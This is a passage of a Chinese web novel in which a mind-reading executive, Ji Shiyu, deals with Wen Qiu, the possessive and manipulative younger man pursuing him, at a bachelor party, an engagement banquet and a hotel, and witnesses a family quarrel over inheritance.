前男友是岳裎唯一忘不掉的存在,分手后没再谈过,曾经喝醉了哭着跟柳今需打听消息。 季时昱喝酒不断片, 还记得那天的事,柳今需只不过是在国外偶遇了岳裎前任,一句话没说上,却被岳裎缠着问了好几天。 对于岳裎的前男友,他有点印象,没想到对方会成为秦家的私生子。 “伯父伯母怎么同意的?”季时昱更好奇这个问题。 岳裎:“我告诉他们,如果不同意,我这辈子就这么单着了,我妈不想我孤独终老,半夜和我爸吵了一架,两个人第二天起来都答应了。” 岳裎的叔叔伯伯不止一位,堂兄堂弟不少,他在这辈孩子中比较出色,所以能在岳氏独揽大权。岳老爷子睁只眼闭只眼,勉强同意了。 “今晚是我最后的单身夜,你可不能缺席。”岳裎对季时昱说道。 他们俩记事开始就认识了,这么深厚的兄弟情谊不是普通朋友能比的。 季时昱本来打算后天回来,就是因为岳裎一定要他参加最后的单身夜,提前一天加急把那边的工作处理完,今天赶回来参与岳裎的单身夜派对。 他们上了一辆黑色商务车,关秘书则是上了另外一辆车,两辆车开离机场,在前面的路口分道而行。 车开了大半路,岳裎说:“闻湫今晚会来,你不介意吧。” 季时昱拧了下眉,“闻湫不是在国外还没回来?” 岳裎诧异:“他今早就和他爸妈回来了,不知道发生了什么,脸上有道巴掌印儿。” 季时昱回想登机前收到的那条消息,眼睫微垂,“闻湫和他家里人的关系似乎不太好。” 岳裎点头:“我听我妈说过,闻湫从小就和家里关系不太好,高中以前能维持最基本的体面,高二那年不知道发生了什么,闻湫休学了一年,那时候的关系更差了,后来他背着家里改志愿,和闻家彻底闹僵,一直到现在都没有缓和。” 季时昱陷入沉思,过了少顷,问:“他爸妈希望他去哪所学校?” “谁知道呢,休学的事是我妈过年走亲戚无意听别人说的,又不能贴脸去问清楚。”岳裎停下车,望着前面剩余九十多秒的红灯,道:“我跟你说件事儿,你可别告诉别人。” 季时昱:“你说。” 岳裎清了清嗓子,“我听说,闻湫高二休学那年是去看心理医生了,不过只是听说,不知道真假。” 季时昱沉默了,后半路上没有再说一句话,基本是岳裎说,他偶尔应一声。 下午四点半,岳裎在郊外的独幢别墅中举办了今晚最后的单身夜派对,天没黑,就来了不少圈内的朋友,豪车停了一排又一排。 “柳今需和展绮呢?”季时昱下车前问道。 岳裎:“我这事儿太突然了,展绮在H市拍戏赶不回来,柳今需今晚有场重要的饭局。” 季时昱开车门下车,碰到熟人,微微颔首算是打招呼。 来的都是岳裎的朋友,和他联姻的秦家私生子并未露面,私生子的哥哥也就是秦二却来了。 秦肆看到季时昱,道:“季总。” 季时昱:“秦律师。” 秦肆是季时昱专门聘请的律师顾问,二人认识挺多年了,秦肆和岳裎有些交情,所以今晚才到场了。 说是派对,其实更像一场年轻人的商业酒会,玩的人比较少,大多数人正常社交,聊着聊着,话题就往家里的生意上去了。 天色慢慢暗下来,季时昱一直在和秦肆聊工作,中途聊得愉快,嘴边挂着很淡的笑意。 没过多久,他见到了姗姗来迟的闻湫,没有看到岳裎口中的巴掌印儿。等闻湫来到了他面前,他才看出闻湫脸上涂了粉,显然在遮掩什么。 “哥哥,晚上好。”闻湫乖乖打招呼,眼圈微红,仔细看会发现那是特意化得眼影。 “晚上好。”季时昱微颔首,偏头对秦肆说:“过两天我去找你,商量点事。” “行,来之前说一声,我提前空出时间。”秦肆倏然顿住,抬头看向季时昱身旁的青年,不知是不是错觉,有一瞬间感受到一股非常有针对性的刺骨冷意,令他很不舒服。 他看过去,只见闻湫淡淡瞥了他一眼,随后看向别处。 秦肆的直觉一向很准,这次却没能从闻湫身上看出痕迹。 他听说过季时昱的八卦传闻,没有亲眼见过,不确定是不是闻湫,开口问:“你身边这位是?” 季时昱淡声介绍:“闻湫,岳裎的表弟。” 秦肆对闻湫道:“你好,我是秦肆。” 闻湫不想理他,当着季时昱的面不好那么做,他微微一笑,“秦哥好。” 秦肆觉得那股的恶意应该不是来自闻湫,暂时放下了心,“你们聊,我看到个熟人,过去打个招呼。” 人前脚刚离开,身影还没走远,闻湫问:“哥哥,他是你朋友?” 闻湫见过秦肆,曾亲眼窥探季时昱和秦肆在咖啡店见面,他假装‘偷听’引起季时昱的关注,可惜去晚了,没能听到他们说了什么。 他不知道秦肆的名字,没有调查,今天才知道秦肆的名字。 那么多人在,季时昱只跟秦肆有说有笑。 他们认识多久了?在他来之前聊了什么?为什么季时昱笑了? 哥哥怎么可以随便对别人笑。 闻湫强压下心底的焦虑和妒忌,乖乖等待季时昱的答案。 季时昱的回答很正常,“一个朋友。” 闻湫:“你们关系很好吗?” 季时昱看他一眼。 闻湫苦恼道:“他看我的眼神好可怕,搞得我像危险分子一样,好伤心啊。” 季时昱:“……你想多了。” 这时,有人端着酒来找季时昱,“昱哥,怎么站在这儿啊,大家都想跟你喝一杯呢。” 这是实话,谁不想跟季时昱拉近关系呢。 岳裎比较好说话,围在他身边的人多。作为岳裎的朋友,季时昱特别难接触,许多人为此感到可惜,毕竟能跟季时昱搞好关系,从中获取的不止是利益。 “晚点有事,不喝酒。”季时昱回绝他。 那人也不纠缠,“那好,昱哥你先玩着,我去找我朋友了。” 没过多久,又有人跑到了季时昱面前,“季少,好久不见,您怎么站在这儿啊,跟岳哥他们一起玩啊。” 岳裎坐在客厅的真皮沙发上,几个人围在一起打牌,不涉及金额,谁输了谁喝酒,岳裎喝苦瓜汁,谁让他在外称自己酒精过敏呢。 “你们玩,不用管我。” 季时昱喜欢安静,那边太吵了。 说话的人没能找到机会多说几句,讪讪笑着走了。 “哥哥,他们怎么总是想让你过去玩,都看出了你不想玩,还要来喊你,什么人啊。”闻湫在忍耐,看到那么多人想往季时昱身边凑,眼底闪过狰狞的狠意。 闻湫这话说到季时昱心坎上了,他轻笑了声,“你为什么不去玩?” “我只想陪着你。”闻湫不想搭理任何人。 他们坐在吧台前,高脚凳完美展示了双腿的修长,身材比例堪比模特。 有人是第一次见闻湫,眼睛早移不开了,碍于季时昱在那里不敢过去搭话。 他等了好久,终于等到季时昱去外面接电话,那个人端了杯酒跑到闻湫面前搭讪,笑嘻嘻地说了许多花言巧语,闻湫始终漠着一张脸。 来人不气馁,说:“这位弟弟,我说了那么多,还不知道你的名字呢。” 闻湫冷冷瞥他一眼,神情嫌恶。 男人不耐啧了一声,看着闻湫那张脸,强行压下心里的薄怒,玩味儿笑道:“交个朋友而已,既然来了岳少这里,说明大家都是一个圈里的人,不用这么防我吧。” 闻湫懒得多看他一眼。 “唉,不说名字说个姓也好啊,你……”男人话没说完,却见眼前的人突然亮起眸子,直勾勾地盯着他身后。 男人一愣,回过头,看见了刚接完电话回来的季时昱。 屋里暖和,季时昱身上的大衣很早便脱了下来,现在穿了件白色毛衣,毛领完美掩盖住脖子,衣摆并不长,身下的黑裤衬得双腿笔直修长。 他摘了眼镜,眉眼不如戴镜片时那样冷,反而有些温和,给人一种很纯粹的干净。 男人正准备上前问好,身边多了阵风,看到刚才对他爱搭不理的人朝季时昱走过去,甚至欢喜喊了声:“哥哥!” 男人愣在原地,这对吗? 闻湫走到季时昱面前,关心道:“你出去怎么不穿外套啊,外面很冷的。” 季时昱摇了下头,“没那么冷。” 他朝吧台走去,坐在原来的位置上。 闻湫像条尾巴似的紧跟在他身后,“你不在,我一个人好无聊,连个说话的人都没有。” 站在旁边的男人嘴角微抽,心想难道我不是人吗? “哥哥,你想喝酒吗,我会调酒,一定能让你满意的。”闻湫拉近凳子,坐在季时昱身边。 季时昱没来得及说话,身后响起一声轻咳,他回头,看到个有些眼生的人。 男人谄媚笑道:“季总,您还记得我吗,咱们去年在秦老爷子的生辰宴上见过。” “不记得。”季时昱接了那通电话有些烦闷,偏头看向闻湫,“会调什么?” “常遇会所里你常点的那几杯我都会,专门为你学的。”闻湫眉眼弯起,一副‘我很自觉,你快夸我’的模样。 季时昱颔首,“随你发挥。” 男人在一旁看呆了,他再迟钝,也看出他们俩之间的不对劲,不敢再招惹闻湫,跟季时昱说了声失陪,灰溜溜地端着酒走了。 有人将这一幕看在眼里,对闻湫的身份有了近一步的确定。 岳裎这里有许多名酒,前面柜子上摆放着可以调酒的工具,他对这方面有点兴趣,没事了会自己调着玩。 闻湫站在吧台内侧,没有穿外套,他今晚穿了身非常应景的白衬衫和黑色双扣收腰马甲,肩膀宽阔却不显壮,向上挽起的衣袖露出结实强劲的小臂。 他调酒的手法有点生疏,站姿挺直修长,过分出色地五官让他整个人闪闪发光,前阵子修剪了头发,过年时被遮住的眉眼露了出来,看着没之前那么阴郁了。 季时昱看了他一小会儿,长睫微敛,右手轻轻转动着左手食指上的素戒。 他从不否认闻湫的漂亮,不管在哪儿总能一眼认出,看多了并不会审美疲劳。 远处有人看到这一幕,打牌的人戳了下岳裎,“岳哥,给昱哥调酒的那个是谁啊?” 岳裎抬头往吧台那儿看了一眼,微微挑眉,笑道:“我表弟,S市人。” 其余人停下,默契地往那边看了眼。 说话的人又问:“他和昱哥是什么关系?” 这个问题把岳裎问住了,要说没关系,季时昱和闻湫确实有点不对劲,若说有关系,他们俩的情况又算不上。 那人见他答不上来,说:“年前有一阵子,好多人说昱哥把小男友带回家见家长了,是他吗?” 岳裎啧了声,“话真多,想知道自己去查,下一个该谁了,快出牌!” 那个人不死心的问:“岳哥,他真是你表弟啊?” 岳裎皱眉:“骗你干什么,少招惹他,他不是你能惹得起的。” “岳哥你这话说的,我随便问问罢了,又没怎么着。”那人笑着喝了口酒,看闻湫的眼神始终没有移开。 突然,闻湫朝这边看了一眼,眼神阴戾凶狠,叫人背后发凉。 刚才的人怔了一下,回神后发现吧台前的人根本没往他这里看,他在心里告诉自己应该是看错了。 别墅里吵闹一片,闻湫无视令他恶心的眼神,打开量酒器,从柜台上拿出个马天尼杯,倒出调好酒,稳稳推到季时昱面前。 “哥哥,你尝尝。”他笑容艳丽,眼底含着期待。 季时昱端起抿了一口,和他在常遇喝到的味道没多少差别。 闻湫眼睛闪烁,“怎么样?” 季时昱点头,“还行。” “这是我专门为你学的,哥哥你比较喜欢喝什么啊,我可以重点学习一下。” 闻湫观察过季时昱的饮酒习惯,推到他面前的酒基本都会喝一口,遇到不好喝的会微微皱起眉,好喝的也就多喝几口,很少贪杯。 他推测不出季时昱最喜欢什么口味,所以学了季时昱品尝完没有皱眉的那几杯。 季时昱:“我没那么爱喝酒,不用学。” 闻湫微微俯身,左手臂搭在吧台上,右手抬起,胳膊肘抵着桌面,漂亮狭长地眸中闪过几分嗔怪,低声说:“你不喜欢喝酒,不喜欢太重口味的饮食,不喜欢吵闹,不喜欢别人离你太近。除这些外,还不喜欢什么啊?” 季时昱眸光闪了下,“问这个干什么?” “哥哥,你要公平一点,”闻湫颇有几分怨气道:“如果不喜欢别人离你太近,就对所有人都保持一样的距离好不好。” 季时昱默了一会儿,道:“对所有人,还是对你之外的人?” 闻湫紧盯着他,没有掩饰眸底的贪婪,“我倒是想选后面那个,可你会生气的。” 他在慢慢地展露自己的性格,刚见面时只是装无辜可怜、乖巧听话。虽然现在也装,但很多时候会泄露一些属于他自己的情绪。 季时昱无声轻笑,道:“我听说你挨巴掌了。” 听到这事儿,闻湫更委屈了,捂着左脸说:“好疼的,留下了很重的印子,我请了位化妆师帮我遮住了。” “谁打的你?”哪怕猜出是谁了,季时昱依旧这么问。 “我妈妈……”闻湫眸子泪盈盈地,苦涩笑道:“是我自己做错了事,挨打是应该的,我妈妈对我比较严格。” 季时昱:“做错了什么?” 闻湫干了什么才会挨打? 闻湫不吭声了,默了片刻,弯唇笑道:“哥哥,你还想喝酒吗,我再给你调一杯。” “不喝,你出来吧,别站在那儿。”季时昱感官敏锐,知道刚才有多少人看了过来。 闻湫眨眨眼睛,乖乖绕了出来。 他们坐在吧台前,没有人再过来打扰。 零点过去,岳裎最后的单身夜消失,天亮后要开始准备订婚的事,好在他没有喝酒,不至于被酒精耽误。 许多人饮了酒,岳裎安排司机送他们回去。 和别人不同的是,送季时昱的那位司机没有露面,打了几个电话都没能联系上。 岳裎打算亲自动身送季时昱,话还没说出来,听见了闻湫的声音。 “表哥,我没喝酒,我送昱哥回去吧。” 岳裎朝季时昱看去,似是在询问他的态度。 季时昱点头,“让他送吧,你晚点还有事。” 岳裎待会儿要去趟秦家,再送季时昱回去确实有点赶。他看季时昱同意了,转头对闻湫说:“那行,你送时昱回去,手脚老实点儿。” 闻湫送季时昱回去的路上没有发生什么,等季时昱到了家,冲完澡换好睡衣,都准备睡了,谁知接到了闻湫的电话。 他没有着急说话。 那边安静几秒,响起闻湫不太对劲的声音:“哥哥。” 季时昱身穿浴袍坐在落地窗前,手里夹了根未点燃的烟转着玩,眼神淡漠地看着窗外的夜景,“怎么了?” 闻湫:“我回来时,有人拦了我的车。” 季时昱转着烟的手指停止。 “他问我是不是被你包养了。”闻湫声音放轻,“我很害怕他,他的眼神特别恶心,我为了吓他,我说……” 后面的话不敢说出来。 “说了什么?”季时昱把烟放到前面窄小的茶几桌上。 “我为了吓他,我告诉他,我和你在一起了。”闻湫顿了一瞬,补了一句:“是正常交往的在一起,不是包养。” 季时昱不意外他的回答。 “哥哥,你不要怪我,”闻湫小心翼翼道:“我当时也不知道怎么想的,看到他说话那么难听,不过脑子就把话说出来了。” “下次不用理会,直接走,没人敢硬拦。”季时昱没说责怪的话,只是语气稍冷,不太同意闻湫的做法。 圈里的人知道闻湫和他有关系,不明白界限在哪里,今天找上门可能是为了试探。 他眼神冷下来,接着问:“知道名字吗?” 闻湫:“不知道,但我对他有点印象,他今天坐在我表哥身边打牌。” “我知道了,你好好休息,剩下的事不用管。”季时昱刚要挂电话,那边又传出点声音。 “你怎么跑出去的,你……” 声音戛然而止。 他听出了是殷女士的声音,充满了怒气和惊吓。 30-40 第31章 理理我嘛 我好可怜啊 季时昱坐在椅子上许久未动, 分析那些怒气和惊吓分别是为什么。 今天是工作日,按道理来说,殷女士在国外谈生意都不忘电话提醒大儿子别忘了晚上的应酬,此刻不应该还待在A市。 总不可能是为了参加岳裎明天的订婚宴吧。 尤其是那句话, 他没办法装作没有听见。 什么叫跑出去了? 闻湫不能随便出门? 有岳裎的话在前, 导致他现在不得不在意这种事。 季时昱年前调查的资料里, 没有提到闻湫休学的事,更别提看心理医生,这件事被闻家瞒得很好,他确信知晓这些事的人早已被闻家拿钱封过嘴, 也可能早在拿到钱后搬离了S市。 他坐在落地窗前想了半个小时, 还是没有去找人调查这件事, 闻家想瞒着, 他就当不知道。 一夜无梦。 次日醒来,季时昱开车去了岳裎订婚的酒店。 岳家包下了一整个酒店, 那栋大楼前后左右面分别挂了几条长长的红色条幅, 上面写的是‘恭祝岳家和秦家喜结连理’,场面大到让路过的人误以为是结婚。 秦家比谁都乐意这次的联姻,牺牲一个从外面接回来的私生子就能和岳家搭上关系, 秦家老爷子看新多出来的孙子顺眼了不少。 展绮和柳今需很忙,前者实在抽不开身,后者勉强把时间腾出来了。 季时昱和柳今需在楼下碰面, 二人一起进了贵宾电梯,柳今需提起最近听到的那些情况。 “你和闻湫怎么回事儿, 参加个拍卖会都能传成那样。”柳今需听了很多八卦,什么亲了抱了快订婚了,他通通不信, 就等着见面问清楚呢。 柳今需过年那几天比较忙,亲戚又多,前两天刚走完亲戚就开始忙工作,期间各种出差,没时间回来聚一下。 今天是他们年后见的第一面。 季时昱:“没事,你不用当真。” “我没当真,这不是来问你了吗,有些人传的太离谱了吧,非说亲眼看到你和闻湫亲了,这不瞎扯吗。”柳今需一个字都不信。 季时昱:“……”这事儿过不去了。 婚宴举办在最顶层,是一整个大平层,天花板很高,从上往下吊了几个特别大的水晶吊灯,现场布置喜庆,只是岳家的人笑起来有些勉强。 季时昱看到了岳裎的联姻对象。 秦笛,原来姓岑,接回秦家的当天改了姓氏。 季时昱和他认识,见了面互相点了点头。 订婚宴开始,有些人姗姗来迟,季时昱始终没有见到闻湫的面。 季忱到处张望,疑惑道:“闻湫不是岳哥的表弟吗,我听说他前几天回A市了,今天怎么没来?” 没有人为他解惑。 岳裎身为今天的主角,没时间注意谁来了谁没来,走完流程后和秦笛一起给几位长辈敬酒。 直到订婚宴结束,季时昱也没能看到闻湫的身影,他看着其他人依次离开现场,等人少了,朝岳裎走过去。 岳裎没喝酒,在场的人知道他‘酒精过敏’,全程以茶代酒,秦笛倒是被灌了不少,十分钟前被人扶着出去了。 季时昱等岳裎和岳老爷子说完话,道:“闻湫今天没来。” 岳裎脸上挂着喜悦的笑,真应了那句人逢喜事精神爽,道:“哦,姨妈跟我说了,他们家有点急事,昨晚连夜带着闻湫回家了。” 季时昱困惑道:“他不是快开学了?” “谁知道呢,那是他们家里的事,我又不好过问,你问这些什么?”岳裎眼神若有所思。 季时昱摇了下头,“昨晚还在,有点奇怪罢了。” 岳裎:”确实,他离开的事还是姨妈告诉我的,他自己可能没好意思跟我说。” 季时昱同样没有收到闻湫的消息,因为每天给他发送早晚安,今天太反常了。 倒不是因为没人缠着而感到不习惯,主要是昨晚挂电话前听到的话太奇怪了。 季时昱没喝酒,离开酒店去了季氏,下午有场重要会议不能缺席。 晚上。 他待在书房看方案,手机收到了陌生号码的短信。 【QAQ】 没有任何言语,他却猜到了是闻湫,点进短信,一条消息紧跟而来。 【哥哥,你能不能来接我。】 他直接给这个号码打过去,接通的很快。 “哥哥。”闻湫现在的语气,比昨天抱怨别人拦车时还要委屈。 季时昱右手握着鼠标,食指抬起又落下,轻轻敲着鼠标键,电脑屏幕的光亮照射在冰冷的镜片上,眼底的情绪全被镜片遮挡。 “你在哪儿?” 闻湫:“……我在高铁站,我妈昨晚让人把我绑回家了,非要等我开学才让我出门,我的卡又被停了,手机也被没收了,身上仅有的现金买了高铁票。” 季时昱垂下眼,“从家里偷跑出来的?” “我没有,我给他们留了纸条。”闻湫轻轻啜泣了一声,“哥哥,你能不能来接我,我真的没有钱了,一分钱也没有,这个手机是老年机,不能登微信,要不然我也不会……” 季时昱没等他说完,道:“哪个高铁站?” 闻湫说了地方,“我在门口等你。” 电话挂断,季时昱坐在原地思忖片刻,关了电脑出门。 他独自开车去了闻湫所在的高铁站,到地方的时候已经晚上十一点了,车还没开过去,大老远就看到了站在门口的闻湫。 只穿了件带帽子的白色卫衣,勉强能遮住脖子,外面风有点大,吹得他头发乱颤。 他开车到了闻湫面前,按了按喇叭。 闻湫拉开车门坐了进来,声音有点哑:“哥哥。” 关好车门,他拉着安全带扣上。 【见到哥哥真开心,什么时候才能过上每天睁眼就可以看到他的日子。】 这里即停即走,季时昱开车离开,瞥到了他手里的老年机,问:“没有备用机?” “没有。”闻湫低下头,轻轻抚了抚自己发冷的手臂。 【备用机在我包里放着,拿出来就不能在哥哥面前装可怜了。】 季时昱调高车里的暖气,神情复杂,“你家里人为什么对你这么严格?” 闻湫爸妈的做法不像是管教孩子,倒像在管控犯人。 【他们怕我惹事,当初那件事是他们不相信我,现在还好意思倒打一耙。】 闻湫不会将实话说出来,摇了摇头,说:“我也不知道,他们对我总是不满意。” 季时昱静静看着他演。 车快开到了前方十字路口,季时昱准备打灯换道,听到闻湫说了句话。 “哥哥,我能去你那里住吗?” 闻湫低下头,郁闷道:“我家里人知道我原来住在哪儿,我不想让她找到我。” 季时昱没有停下打灯的手,瞥了眼后视镜,慢慢移动到靠左的那条道上,“你可以住酒店。” 闻湫:“……哥哥你忘了吗,我可没有钱呀。” 季时昱:“我有。” “我没有智能手机,你身上肯定没有带现金吧。”闻湫眼里蓄着泪水,故意揉了揉眼睛,将眼眶周围揉得发红。 【我好可怜啊。】 车里太暗,季时昱专心开车,自然没有看到他这副楚楚可怜的模样,却将心声听得清清楚楚。 有句话闻湫说对了,他身上没有现金。 “我送你到岳氏旗下的酒店,给岳裎打个电话就行了。” 这是在A市,不是其他城市更不是国外,季时昱有的是办法安排闻湫住下,但有件事他挺在意的,问:“你怎么知道我号码?” 闻湫:“我背过。” 【我每天晚上都看着那串号码,好几次想打过去。】 因为读心术的原因,季时昱问句话总能得到两句回答,他可以轻而易举知道当年的真相,但不方便问出来。 闻湫想住一起的梦终究没有实现,季时昱联系了岳裎,闻湫顺利入住了酒店,早午晚餐都包含在内。 季时昱从前台手中接下房卡,回头对闻湫说:“你自己上去还是我送你?” 他看闻湫神情凄楚,不像是会轻易罢休的样子。 路堵死了,闻湫找不到借口,低声道:“哥哥送我吧,我一个人不敢进电梯。” 季时昱先将房卡递过去,“拿着。” 闻湫当他不想送,咬了下唇,下一刻就见季时昱往里面走,他眼睛微亮,乖乖跟了过去。 他们在电梯门口等了一会儿,当电梯到达一楼,里面的男人一手接电话,另一只手搂着怀里女人往外走,抬头看到了季时昱和闻湫,显然呆愣了一下。 男人收回留着女人腰的手臂,笑了一声,“季少,您也来开咳咳……好巧啊,没想到会在这儿碰见您。” 他别有意味地瞧了眼闻湫,碍于此刻恰巧停在电梯门那里,导致电梯迟迟没合上。 闻湫拽住季时昱的衣袖,小幅度晃了晃。 没有说话,季时昱却懂了他的意思。 就是这个人拦了闻湫的车,问闻湫是不是被包养了。季时昱还没来得及调查是谁,没想到对方自己送上门来了。 男人把闻湫的小动作看在眼里,不免有些惊讶,见季时昱一个眼神都没落在自己身上,知道他不想搭理自己,心中叹息一声,牵着女人出了电梯。 刚踏出电梯,季时昱说话了。 “城西那个项目,让你爸不用再想了。” 男人顿了一会儿,反应过来后大惊失色,猛地回头瞪了眼闻湫,随后看向季时昱,惶恐道:“季总,我昨晚不过是和他开个玩笑罢了!” 季时昱进入电梯,看他的眼神非常冷漠,“拦车之前,就该想想自己能不能担负得起。” 闻湫站在季时昱身边,积极按了电梯的楼层键。 门外的男人想跟过来,触及到季时昱冰冷的眼神,畏惧往后退了一步,眼睁睁看着电梯门慢慢合上。 在电梯仅剩一条缝隙时,闻湫抬起眼,乌黑阴冷地眸中划过几分嘲弄,嘴角微勾,对外面的人展露出一个满是恶意的笑容。 男人愣怔一瞬,冲上去就要按电梯,“季总,那天是他故意的!” 可惜晚了一步。 电梯门彻底合上,从电梯里能听到外面嘶喊声,带着被人耍到极致愤怒。 “是他故意让我发现他的,我一开始根本不认识他的车!就是他陷害我……” 声音越来越小,直到听不见,紧接着响起了闻湫的心声。 【是啊,我就是故意的,那又怎样,谁让他用那种恶心的眼神看我。恶心死了,想到就要吐了,管不住自己的眼睛干脆别要了,捐给需要眼睛的人也算做件善事了。】 【还敢跟哥哥告我的状,就他自己那荒淫的作风,以为哥哥会信他吗。】 闻湫垂着头站在那里,似乎被男人狰狞的样子吓到了,肩膀微微发着抖,小声问:“哥哥,他会报复我吗?” 季时昱通过镜面电梯看得一清二楚,视线移开,“……他不敢。” “他刚才的样子好凶,吓到我了。”闻湫后怕地抚了抚手臂,神情很不安。 【好吓人啊,哪天不会开车撞我吧。如果我重伤躺进了医院,哥哥会心疼我吗?】 季时昱眼皮微跳,冷声道:“后面的事你不用管,离这种人远点儿。” 他本意是想让闻湫清醒点,别轻易做损人不利己的傻事。 闻湫误会了他的意思,点点脑袋,“嗯,我都听哥哥的。” 【哥哥还是关心我的,我要是受伤了他肯定很伤心,我不能让他伤心。】 季时昱:“……” 算了,反正把人劝回正途了。 季时昱把闻湫送到了套房门口,“进去休息吧,我该走了。” 闻湫拿着房卡在门锁上刷了下。 嘀—— 闻湫打开门,回头看着季时昱,满眼忧愁:“哥哥,如果我妈妈找到了你,你能不能帮我保密。” “我可以当今天的事没发生过,但你爸妈可能会查到。” 季时昱和闻湫不是躲着监控走的,楼下又碰到了人,若闻湫的家人找人调查,很快便能查出闻湫的位置。 闻湫明白这个道理,说:“我知道,你能帮忙保密,我就很满足了。” “我走了。”季时昱没有多说,转身往回走。 闻湫看着他的身影消失在前面的转弯处,弯唇笑了笑,心满意足进了房间。 他从背包里拿出一个智能手机开机。 叮—— 手机里弹出一条短信。 【闻哥,事情办妥了。】 【那笔钱我分别转到了几张卡上,晚点会把卡寄到老地方。】 闻湫没有回短信。 那边也不执着他的回信,又发来一条短信:【这些是以我和我朋友的名义办的,叔叔阿姨查不到。】 闻家的地位摆在那里,闻湫在很多事上很容易受局限。就如这次,他几张卡接连被冻结,临时转出去的那笔账差点被拦截下来。 另一边。 季时昱休息前接到了岳裎的电话。 岳裎问:“你打电话是为了安排闻湫住进去?” 季时昱没否认,“是。” “我靠,你俩都这样了你还好意思说没什么,”岳裎叹声气,“我姨妈联系我了,我跟她说先帮忙查查,但不保证能查到,既然你插手了,那我就随便编个理由敷衍过去。” 陌生亲戚和好兄弟,岳裎当然能分得清跟谁更近。 季时昱:“好,谢了。” “我们俩谁跟谁啊,元宵那天请我吃饭就行,先挂了,我待会儿要…咳咳…挂了,不说了。”岳裎今晚的订婚夜才刚刚开始。 深夜的风逐渐变大,有人一夜好梦,有人彻夜难眠. 元宵节到了,A市寒冷的天气逐渐回暖,穿羽绒服甚至有些热。 季时昱当天中午回老宅过节。 季帆嵘带尹安玥回了尹家,季忱跟着一起去了,元宵节只剩下季时昱和二老一起过。 闻湫上午发了消息,季时昱明确说了没有时间,他才停止纠缠,到了傍晚又发来消息。 【我快开学了,开学前可以一起吃顿饭吗?】 【哥哥,理理我嘛QwQ】 季时昱没答应,先问了他开学的时间。 晚上。 季时昱和岳裎还有柳今需聚在饭店,展绮没有来,他们三个坐在一起吃了顿饭,谁都没有喝酒。 一连几天过去,不知道闻湫最近在忙什么,难得没有来公司找季时昱。除了前些天的消息以外,整个人就像消失了一般。 正巧这几天忙,季时昱各种应酬难以抽身,等他再次接到闻湫电话的时候,A大已经快要开学了。 闻湫语调带着撒娇的意味,“哥哥,你还在忙吗?” “闻湫,我最近特别忙,抽不出时间和你吃饭。”季时昱说得直白,拿起笔在文件右下角签字。 “不吃饭也行,我能去季氏找你吗?” “哥哥,我们好多天没见了,你对我这样不闻不问,我快要受不了了。” 关秘书拿着文件离开,安秘书进来汇报工作。 季时昱没听手机里的声音,注意力全在工作上。 闻湫意识到他忙得连听自己说话的时间都没有,呼吸有些过重,“你忙吧,我不打扰你了。” 他主动挂了电话。 季时昱发现电话被挂已经是十分钟以后的事了,他盯着黑屏的手机默了许久。 “季总?”安秘书小声唤道。 季时昱回神,“没事,你接着说。” 年初这个月很忙很忙,岳裎约了他好几次,他全推了。 岳裎同样忙,但他有叔伯和堂兄弟帮衬着,再加上他父亲也在岳氏,倒是没像季时昱这样忙得抽不开身。 转眼间,A大开学小半个月了,季时昱暂时没那么忙了,答应岳裎周六晚上出去聚一下。 周六那天,他被老爷子喊回老宅吃饭。 中午回到老宅,老爷子正戴着老花镜看书,季帆嵘站在后面捏肩伺候,老太太和尹安玥坐在边上研究刺绣。 “时昱回来了啊。”老太太看了季时昱一眼,说:“季忱和闻湫在楼上打游戏呢,你要是无聊就去找他们玩。” 得知闻湫来了季家,季时昱没有太意外。 “不用,我留下来陪您和爷爷说说话。”他坐在单身沙发上。 季帆嵘笑道:“还知道留下来说话呢,我以为大侄子忙得都忘记有个家了。” 任谁都能听出其中的阴阳。 季帆嵘这几天的怨气很大,老爷子哪都不让他去,在公司是一点地位也没了,他又不敢跟老爷子反着来,生怕惹老爷子生气到最后一个子儿都没捞到。 “确实太忙了,今天勉强挤出了点儿时间。”季时昱眼底藏着寒意,“不像其他人每天待在家里休息。” 老爷子老太太睁只眼闭只眼,全当没听懂。 尹安玥忍不了这个气,怒声道:“时昱,你叔叔向来对你不错,你怎么这样不尊重他,他只是想让你抽时间回来多陪陪你爷爷奶奶,你又何必曲解他!” “别拿这种话术来绑架我,没有用。”季时昱不咸不淡地抬了下眼皮。 “刚回来就把家里搅得那么不安宁,我看你还是住在公司好了!”尹安玥忍也忍够了。 季帆嵘连公司都进不了,她没什么好怕的了! 季老爷子皱起眉。 “行了!”老太太把刺绣扔到桌上,眼神凌厉,“整天吵什么吵,季帆嵘自己造的孽,你把气撒到我孙子身上算怎么回事儿!” “妈!做人不能这么偏心吧!帆嵘为什么待在家里哪也去不了,还不是季时昱害的,我每天跟在帆嵘身边,他怎么可能有机会做那些事,那都是季时昱单方面的诬陷!” 尹安玥猛地站起来,指着老太太说:“就因为帆嵘不是你亲生的,你各种偏心你的亲孙子,他工作那么忙,有时候一个月还不回来一次,你不会指望他给你养老吧!” “哦对了,我怎么忘了呢,你亲儿子整天就想着和老婆环游世界,根本没把你这个当妈的放在心里,等你哪天躺在手术室了,他可能还在某个国家和闫絮亲密呢,怎么可能想得到家里的老人!” 季时昱面无表情地盯着尹安玥发疯,眼底冰冷如寒潭。 尹安玥声音止不住的发抖,“就因为帆嵘是养子,你们从来不关心他过得怎么样,在你们眼里,他就是替你们解闷的宠物,想起来了逗一逗,想不起来就放那里晾着他,那么大的季氏,连季茵那个臭丫头都能分到股份,帆嵘那么孝顺你们二老,他居然什么都没得到!” 楼下的动静有点大,待在游戏房的闻湫听到了声音,问:“下面怎么了?” 季忱面不改色打着游戏,“不用管,我爸妈又开始闹了。” 闻湫站起来,被季忱按住了, “别下去了,一会儿波及到你怎么办,况且你现在下去不合适。”其实是季忱不想下楼面对那些。 闻湫眼神微凉,“会波及到哥…昱哥吗?” 季忱摇了摇头,“他们不敢怎么样,我哥更不会让自己吃亏。” 闻湫垂目,坐下接着打游戏,整个人心不在焉,新开的一局被人拿下了人头。和他组团的季忱也是如此,两个人被队友骂惨了。 楼下。 尹安玥还在闹,管家本想让佣人把她请到楼上休息,老爷子摇了摇头,别墅里的佣人便出门守着了。 尹安玥这些话也是季帆嵘的心里话,可他不敢说出来,他知道没人冤枉自己,那些脏事都是背着尹安玥干的,他并非没有季氏的股份,只是瞒着尹安玥没说,怕她跟他狮子大开口的要钱,所以他的眼神没尹安玥这么理直气壮。 季帆嵘早想这么闹一回了,终究只是想想,给他十个胆子都不敢在家里这样说话,如今看尹安玥为自己出头,心里爽着呢。 他一转头,看到老爷子阴沉到发黑的脸色,忽然一激灵,没忍住打了个寒颤。 